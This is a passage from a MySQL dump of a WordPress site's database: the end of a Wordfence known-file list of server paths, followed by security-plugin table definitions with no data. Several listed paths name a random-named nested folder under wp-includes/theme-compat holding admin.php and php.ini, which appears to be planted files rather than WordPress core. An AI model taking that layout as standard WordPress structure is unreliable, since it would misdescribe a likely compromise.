(5086,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php','wp-includes/sodium_compat/namespaced/Core/HChaCha20.php'),
(5087,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php','wp-includes/sodium_compat/namespaced/Core/HSalsa20.php'),
(5088,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/.htaccess','wp-includes/sodium_compat/namespaced/Core/Poly1305/.htaccess'),
(5089,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php','wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php'),
(5090,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php','wp-includes/sodium_compat/namespaced/Core/Poly1305.php'),
(5091,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php','wp-includes/sodium_compat/namespaced/Core/Salsa20.php'),
(5092,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php','wp-includes/sodium_compat/namespaced/Core/SipHash.php'),
(5093,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Util.php','wp-includes/sodium_compat/namespaced/Core/Util.php'),
(5094,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/X25519.php','wp-includes/sodium_compat/namespaced/Core/X25519.php'),
(5095,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php','wp-includes/sodium_compat/namespaced/Core/XChaCha20.php'),
(5096,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php','wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php'),
(5097,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Crypto.php','wp-includes/sodium_compat/namespaced/Crypto.php'),
(5098,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/File.php','wp-includes/sodium_compat/namespaced/File.php'),
(5099,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/.htaccess','wp-includes/sodium_compat/src/.htaccess'),
(5100,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Compat.php','wp-includes/sodium_compat/src/Compat.php'),
(5101,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/.htaccess','wp-includes/sodium_compat/src/Core/.htaccess'),
(5102,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AEGIS/.htaccess','wp-includes/sodium_compat/src/Core/AEGIS/.htaccess'),
(5103,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AEGIS/State128L.php','wp-includes/sodium_compat/src/Core/AEGIS/State128L.php'),
(5104,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AEGIS/State256.php','wp-includes/sodium_compat/src/Core/AEGIS/State256.php'),
(5105,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php','wp-includes/sodium_compat/src/Core/AEGIS128L.php'),
(5106,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AEGIS256.php','wp-includes/sodium_compat/src/Core/AEGIS256.php'),
(5107,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AES/.htaccess','wp-includes/sodium_compat/src/Core/AES/.htaccess'),
(5108,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AES/Block.php','wp-includes/sodium_compat/src/Core/AES/Block.php'),
(5109,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php','wp-includes/sodium_compat/src/Core/AES/Expanded.php'),
(5110,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AES/KeySchedule.php','wp-includes/sodium_compat/src/Core/AES/KeySchedule.php'),
(5111,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AES.php','wp-includes/sodium_compat/src/Core/AES.php'),
(5112,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php','wp-includes/sodium_compat/src/Core/BLAKE2b.php'),
(5113,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Base64/.htaccess','wp-includes/sodium_compat/src/Core/Base64/.htaccess'),
(5114,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Base64/Original.php','wp-includes/sodium_compat/src/Core/Base64/Original.php'),
(5115,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Base64/UrlSafe.php','wp-includes/sodium_compat/src/Core/Base64/UrlSafe.php'),
(5116,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/ChaCha20/.htaccess','wp-includes/sodium_compat/src/Core/ChaCha20/.htaccess'),
(5117,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php','wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php'),
(5118,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php','wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php'),
(5119,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/ChaCha20.php','wp-includes/sodium_compat/src/Core/ChaCha20.php'),
(5120,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/.htaccess','wp-includes/sodium_compat/src/Core/Curve25519/.htaccess'),
(5121,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/Fe.php','wp-includes/sodium_compat/src/Core/Curve25519/Fe.php'),
(5122,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/Ge/.htaccess','wp-includes/sodium_compat/src/Core/Curve25519/Ge/.htaccess'),
(5123,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/Ge/Cached.php','wp-includes/sodium_compat/src/Core/Curve25519/Ge/Cached.php'),
(5124,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/Ge/P1p1.php','wp-includes/sodium_compat/src/Core/Curve25519/Ge/P1p1.php'),
(5125,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/Ge/P2.php','wp-includes/sodium_compat/src/Core/Curve25519/Ge/P2.php'),
(5126,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/Ge/P3.php','wp-includes/sodium_compat/src/Core/Curve25519/Ge/P3.php'),
(5127,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/Ge/Precomp.php','wp-includes/sodium_compat/src/Core/Curve25519/Ge/Precomp.php'),
(5128,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/H.php','wp-includes/sodium_compat/src/Core/Curve25519/H.php'),
(5129,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/README.md','wp-includes/sodium_compat/src/Core/Curve25519/README.md'),
(5130,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519.php','wp-includes/sodium_compat/src/Core/Curve25519.php'),
(5131,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Ed25519.php','wp-includes/sodium_compat/src/Core/Ed25519.php'),
(5132,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/HChaCha20.php','wp-includes/sodium_compat/src/Core/HChaCha20.php'),
(5133,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/HSalsa20.php','wp-includes/sodium_compat/src/Core/HSalsa20.php'),
(5134,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Poly1305/.htaccess','wp-includes/sodium_compat/src/Core/Poly1305/.htaccess'),
(5135,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php','wp-includes/sodium_compat/src/Core/Poly1305/State.php'),
(5136,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Poly1305.php','wp-includes/sodium_compat/src/Core/Poly1305.php'),
(5137,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Ristretto255.php','wp-includes/sodium_compat/src/Core/Ristretto255.php'),
(5138,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Salsa20.php','wp-includes/sodium_compat/src/Core/Salsa20.php'),
(5139,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/SecretStream/.htaccess','wp-includes/sodium_compat/src/Core/SecretStream/.htaccess'),
(5140,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/SecretStream/State.php','wp-includes/sodium_compat/src/Core/SecretStream/State.php'),
(5141,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/SipHash.php','wp-includes/sodium_compat/src/Core/SipHash.php'),
(5142,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Util.php','wp-includes/sodium_compat/src/Core/Util.php'),
(5143,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/X25519.php','wp-includes/sodium_compat/src/Core/X25519.php'),
(5144,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/XChaCha20.php','wp-includes/sodium_compat/src/Core/XChaCha20.php'),
(5145,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/XSalsa20.php','wp-includes/sodium_compat/src/Core/XSalsa20.php'),
(5146,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/.htaccess','wp-includes/sodium_compat/src/Core32/.htaccess'),
(5147,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php','wp-includes/sodium_compat/src/Core32/BLAKE2b.php'),
(5148,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/ChaCha20/.htaccess','wp-includes/sodium_compat/src/Core32/ChaCha20/.htaccess'),
(5149,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php','wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php'),
(5150,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php','wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php'),
(5151,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php','wp-includes/sodium_compat/src/Core32/ChaCha20.php'),
(5152,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/.htaccess','wp-includes/sodium_compat/src/Core32/Curve25519/.htaccess'),
(5153,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Fe.php','wp-includes/sodium_compat/src/Core32/Curve25519/Fe.php'),
(5154,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/.htaccess','wp-includes/sodium_compat/src/Core32/Curve25519/Ge/.htaccess'),
(5155,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/Cached.php','wp-includes/sodium_compat/src/Core32/Curve25519/Ge/Cached.php'),
(5156,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/P1p1.php','wp-includes/sodium_compat/src/Core32/Curve25519/Ge/P1p1.php'),
(5157,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/P2.php','wp-includes/sodium_compat/src/Core32/Curve25519/Ge/P2.php'),
(5158,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/P3.php','wp-includes/sodium_compat/src/Core32/Curve25519/Ge/P3.php'),
(5159,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/Precomp.php','wp-includes/sodium_compat/src/Core32/Curve25519/Ge/Precomp.php'),
(5160,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php','wp-includes/sodium_compat/src/Core32/Curve25519/H.php'),
(5161,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/README.md','wp-includes/sodium_compat/src/Core32/Curve25519/README.md'),
(5162,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519.php','wp-includes/sodium_compat/src/Core32/Curve25519.php'),
(5163,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Ed25519.php','wp-includes/sodium_compat/src/Core32/Ed25519.php'),
(5164,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php','wp-includes/sodium_compat/src/Core32/HChaCha20.php'),
(5165,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php','wp-includes/sodium_compat/src/Core32/HSalsa20.php'),
(5166,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Int32.php','wp-includes/sodium_compat/src/Core32/Int32.php'),
(5167,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Int64.php','wp-includes/sodium_compat/src/Core32/Int64.php'),
(5168,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Poly1305/.htaccess','wp-includes/sodium_compat/src/Core32/Poly1305/.htaccess'),
(5169,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php','wp-includes/sodium_compat/src/Core32/Poly1305/State.php'),
(5170,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Poly1305.php','wp-includes/sodium_compat/src/Core32/Poly1305.php'),
(5171,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Salsa20.php','wp-includes/sodium_compat/src/Core32/Salsa20.php'),
(5172,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/SecretStream/.htaccess','wp-includes/sodium_compat/src/Core32/SecretStream/.htaccess'),
(5173,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/SecretStream/State.php','wp-includes/sodium_compat/src/Core32/SecretStream/State.php'),
(5174,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/SipHash.php','wp-includes/sodium_compat/src/Core32/SipHash.php'),
(5175,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Util.php','wp-includes/sodium_compat/src/Core32/Util.php'),
(5176,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/X25519.php','wp-includes/sodium_compat/src/Core32/X25519.php'),
(5177,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php','wp-includes/sodium_compat/src/Core32/XChaCha20.php'),
(5178,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php','wp-includes/sodium_compat/src/Core32/XSalsa20.php'),
(5179,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Crypto.php','wp-includes/sodium_compat/src/Crypto.php'),
(5180,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Crypto32.php','wp-includes/sodium_compat/src/Crypto32.php'),
(5181,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/File.php','wp-includes/sodium_compat/src/File.php'),
(5182,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/PHP52/.htaccess','wp-includes/sodium_compat/src/PHP52/.htaccess'),
(5183,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/PHP52/SplFixedArray.php','wp-includes/sodium_compat/src/PHP52/SplFixedArray.php'),
(5184,'/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/SodiumException.php','wp-includes/sodium_compat/src/SodiumException.php'),
(5185,'/home/trevorkl/trevorklee.com/wp-includes/speculative-loading.php','wp-includes/speculative-loading.php'),
(5186,'/home/trevorkl/trevorklee.com/wp-includes/spl-autoload-compat.php','wp-includes/spl-autoload-compat.php'),
(5187,'/home/trevorkl/trevorklee.com/wp-includes/style-engine/.htaccess','wp-includes/style-engine/.htaccess'),
(5188,'/home/trevorkl/trevorklee.com/wp-includes/style-engine/class-wp-style-engine-css-declarations.php','wp-includes/style-engine/class-wp-style-engine-css-declarations.php'),
(5189,'/home/trevorkl/trevorklee.com/wp-includes/style-engine/class-wp-style-engine-css-rule.php','wp-includes/style-engine/class-wp-style-engine-css-rule.php'),
(5190,'/home/trevorkl/trevorklee.com/wp-includes/style-engine/class-wp-style-engine-css-rules-store.php','wp-includes/style-engine/class-wp-style-engine-css-rules-store.php'),
(5191,'/home/trevorkl/trevorklee.com/wp-includes/style-engine/class-wp-style-engine-processor.php','wp-includes/style-engine/class-wp-style-engine-processor.php'),
(5192,'/home/trevorkl/trevorklee.com/wp-includes/style-engine/class-wp-style-engine.php','wp-includes/style-engine/class-wp-style-engine.php'),
(5193,'/home/trevorkl/trevorklee.com/wp-includes/style-engine.php','wp-includes/style-engine.php'),
(5194,'/home/trevorkl/trevorklee.com/wp-includes/taxonomy.php','wp-includes/taxonomy.php'),
(5195,'/home/trevorkl/trevorklee.com/wp-includes/template-canvas.php','wp-includes/template-canvas.php'),
(5196,'/home/trevorkl/trevorklee.com/wp-includes/template-loader.php','wp-includes/template-loader.php'),
(5197,'/home/trevorkl/trevorklee.com/wp-includes/template.php','wp-includes/template.php'),
(5198,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/.htaccess','wp-includes/theme-compat/.htaccess'),
(5199,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/comments.php','wp-includes/theme-compat/comments.php'),
(5200,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/embed-404.php','wp-includes/theme-compat/embed-404.php'),
(5201,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/embed-content.php','wp-includes/theme-compat/embed-content.php'),
(5202,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/embed.php','wp-includes/theme-compat/embed.php'),
(5203,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/footer-embed.php','wp-includes/theme-compat/footer-embed.php'),
(5204,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/footer.php','wp-includes/theme-compat/footer.php'),
(5205,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/header-embed.php','wp-includes/theme-compat/header-embed.php'),
(5206,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/header.php','wp-includes/theme-compat/header.php'),
(5207,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/.htaccess','wp-includes/theme-compat/oq1ieuz/.htaccess'),
(5208,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/index.html','wp-includes/theme-compat/oq1ieuz/index.html'),
(5209,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/.htaccess','wp-includes/theme-compat/oq1ieuz/xjpufdc/.htaccess'),
(5210,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/index.html','wp-includes/theme-compat/oq1ieuz/xjpufdc/index.html'),
(5211,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/.828e0013b8.meta','wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/.828e0013b8.meta'),
(5212,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/.htaccess','wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/.htaccess'),
(5213,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/admin.php','wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/admin.php'),
(5214,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/error_log','wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/error_log'),
(5215,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/index.php','wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/index.php'),
(5216,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/php.ini','wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/php.ini'),
(5217,'/home/trevorkl/trevorklee.com/wp-includes/theme-compat/sidebar.php','wp-includes/theme-compat/sidebar.php'),
(5218,'/home/trevorkl/trevorklee.com/wp-includes/theme-i18n.json','wp-includes/theme-i18n.json'),
(5219,'/home/trevorkl/trevorklee.com/wp-includes/theme-previews.php','wp-includes/theme-previews.php'),
(5220,'/home/trevorkl/trevorklee.com/wp-includes/theme-templates.php','wp-includes/theme-templates.php'),
(5221,'/home/trevorkl/trevorklee.com/wp-includes/theme.json','wp-includes/theme.json'),
(5222,'/home/trevorkl/trevorklee.com/wp-includes/theme.php','wp-includes/theme.php'),
(5223,'/home/trevorkl/trevorklee.com/wp-includes/update.php','wp-includes/update.php'),
(5224,'/home/trevorkl/trevorklee.com/wp-includes/user.php','wp-includes/user.php'),
(5225,'/home/trevorkl/trevorklee.com/wp-includes/utf8.php','wp-includes/utf8.php'),
(5226,'/home/trevorkl/trevorklee.com/wp-includes/vars.php','wp-includes/vars.php'),
(5227,'/home/trevorkl/trevorklee.com/wp-includes/version.php','wp-includes/version.php'),
(5228,'/home/trevorkl/trevorklee.com/wp-includes/widgets/.htaccess','wp-includes/widgets/.htaccess'),
(5229,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-nav-menu-widget.php','wp-includes/widgets/class-wp-nav-menu-widget.php'),
(5230,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-archives.php','wp-includes/widgets/class-wp-widget-archives.php'),
(5231,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-block.php','wp-includes/widgets/class-wp-widget-block.php'),
(5232,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-calendar.php','wp-includes/widgets/class-wp-widget-calendar.php'),
(5233,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-categories.php','wp-includes/widgets/class-wp-widget-categories.php'),
(5234,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-custom-html.php','wp-includes/widgets/class-wp-widget-custom-html.php'),
(5235,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-links.php','wp-includes/widgets/class-wp-widget-links.php'),
(5236,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-media-audio.php','wp-includes/widgets/class-wp-widget-media-audio.php'),
(5237,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-media-gallery.php','wp-includes/widgets/class-wp-widget-media-gallery.php'),
(5238,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-media-image.php','wp-includes/widgets/class-wp-widget-media-image.php'),
(5239,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-media-video.php','wp-includes/widgets/class-wp-widget-media-video.php'),
(5240,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-media.php','wp-includes/widgets/class-wp-widget-media.php'),
(5241,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-meta.php','wp-includes/widgets/class-wp-widget-meta.php'),
(5242,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-pages.php','wp-includes/widgets/class-wp-widget-pages.php'),
(5243,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-recent-comments.php','wp-includes/widgets/class-wp-widget-recent-comments.php'),
(5244,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-recent-posts.php','wp-includes/widgets/class-wp-widget-recent-posts.php'),
(5245,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-rss.php','wp-includes/widgets/class-wp-widget-rss.php'),
(5246,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-search.php','wp-includes/widgets/class-wp-widget-search.php'),
(5247,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-tag-cloud.php','wp-includes/widgets/class-wp-widget-tag-cloud.php'),
(5248,'/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-text.php','wp-includes/widgets/class-wp-widget-text.php'),
(5249,'/home/trevorkl/trevorklee.com/wp-includes/widgets/error_log','wp-includes/widgets/error_log'),
(5250,'/home/trevorkl/trevorklee.com/wp-includes/widgets.php','wp-includes/widgets.php'),
(5251,'/home/trevorkl/trevorklee.com/wp-includes/wp-blog-header.php','wp-includes/wp-blog-header.php'),
(5252,'/home/trevorkl/trevorklee.com/wp-includes/wp-cron.php','wp-includes/wp-cron.php'),
(5253,'/home/trevorkl/trevorklee.com/wp-includes/wp-db.php','wp-includes/wp-db.php'),
(5254,'/home/trevorkl/trevorklee.com/wp-includes/wp-diff.php','wp-includes/wp-diff.php'),
(5255,'/home/trevorkl/trevorklee.com/wp-links-opml.php','wp-links-opml.php'),
(5256,'/home/trevorkl/trevorklee.com/wp-load.php','wp-load.php'),
(5257,'/home/trevorkl/trevorklee.com/wp-login.php','wp-login.php'),
(5258,'/home/trevorkl/trevorklee.com/wp-mail.php','wp-mail.php'),
(5259,'/home/trevorkl/trevorklee.com/wp-settings.php','wp-settings.php'),
(5260,'/home/trevorkl/trevorklee.com/wp-signup.php','wp-signup.php'),
(5261,'/home/trevorkl/trevorklee.com/wp-trackback.php','wp-trackback.php'),
(5262,'/home/trevorkl/trevorklee.com/xmlrpc.php','xmlrpc.php');
/*!40000 ALTER TABLE `wp4v_wfknownfilelist` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wflivetraffichuman`
--

DROP TABLE IF EXISTS `wp4v_wflivetraffichuman`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wflivetraffichuman` (
  `IP` binary(16) NOT NULL DEFAULT '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
  `identifier` binary(32) NOT NULL DEFAULT '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
  `expiration` int(10) unsigned NOT NULL,
  PRIMARY KEY (`IP`,`identifier`),
  KEY `expiration` (`expiration`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wflivetraffichuman`
--

LOCK TABLES `wp4v_wflivetraffichuman` WRITE;
/*!40000 ALTER TABLE `wp4v_wflivetraffichuman` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wflivetraffichuman` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wflocs`
--

DROP TABLE IF EXISTS `wp4v_wflocs`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wflocs` (
  `IP` binary(16) NOT NULL DEFAULT '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
  `ctime` int(10) unsigned NOT NULL,
  `failed` tinyint(3) unsigned NOT NULL,
  `city` varchar(255) DEFAULT '',
  `region` varchar(255) DEFAULT '',
  `countryName` varchar(255) DEFAULT '',
  `countryCode` char(2) DEFAULT '',
  `lat` float(10,7) DEFAULT 0.0000000,
  `lon` float(10,7) DEFAULT 0.0000000,
  PRIMARY KEY (`IP`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wflocs`
--

LOCK TABLES `wp4v_wflocs` WRITE;
/*!40000 ALTER TABLE `wp4v_wflocs` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wflocs` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wflogins`
--

DROP TABLE IF EXISTS `wp4v_wflogins`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wflogins` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `hitID` int(11) DEFAULT NULL,
  `ctime` double(17,6) unsigned NOT NULL,
  `fail` tinyint(3) unsigned NOT NULL,
  `action` varchar(40) NOT NULL,
  `username` varchar(255) NOT NULL,
  `userID` int(10) unsigned NOT NULL,
  `IP` binary(16) DEFAULT NULL,
  `UA` text DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `k1` (`IP`,`fail`),
  KEY `hitID` (`hitID`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wflogins`
--

LOCK TABLES `wp4v_wflogins` WRITE;
/*!40000 ALTER TABLE `wp4v_wflogins` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wflogins` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfls_2fa_secrets`
--

DROP TABLE IF EXISTS `wp4v_wfls_2fa_secrets`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfls_2fa_secrets` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `user_id` bigint(20) unsigned NOT NULL,
  `secret` tinyblob NOT NULL,
